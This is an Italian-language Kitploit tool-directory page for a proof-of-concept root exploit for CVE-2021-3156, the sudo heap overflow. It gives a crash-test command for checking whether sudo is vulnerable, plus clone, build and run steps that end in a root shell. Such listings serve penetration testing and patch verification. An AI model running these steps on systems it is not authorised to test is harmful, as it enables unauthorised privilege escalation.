Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-3156 — Proof-of-concept exploit per CVE-2021-3156, un overflow del buffer heap in sudo precedente alla versione 1.9.5p2, che consente l'escalation dei privilegi a root tramite sudoedit -s. | Kitploit
Strumenti/GitHubGitHub/sbladiamond/cve-2021-3156
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingBinary Exploitation
GitHubsbladiamond/cve-2021-3156

CVE-2021-3156

Proof-of-concept exploit per CVE-2021-3156, un overflow del buffer heap in sudo precedente alla versione 1.9.5p2, che consente l'escalation dei privilegi a root tramite sudoedit -s.

Vedi Repository
115 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-3156

Sudo prima della versione 1.9.5p2 contiene un errore off-by-one che può causare un overflow del buffer basato su heap, consentendo l'escalation dei privilegi a root tramite sudoedit -s e un argomento della riga di comando che termina con un singolo carattere backslash.

Crediti: Advisory di Baron Samedit di Qualys

Come verificare se si è affetti.

Il progetto sudo ha rilasciato un comando che permette di testare se la propria versione di sudo è vulnerabile:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`

Se si riceve un messaggio di utilizzo o di errore, sudo non è vulnerabile. Se il risultato è un Segmentation fault, sudo è vulnerabile.

Utilizzo

Root shell PoC per CVE-2021-3156 (nessun bruteforce) Testato su Ubuntu 20.04 (sudo 1.8.31)

root@kitploit:~
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root
Scarica lo strumento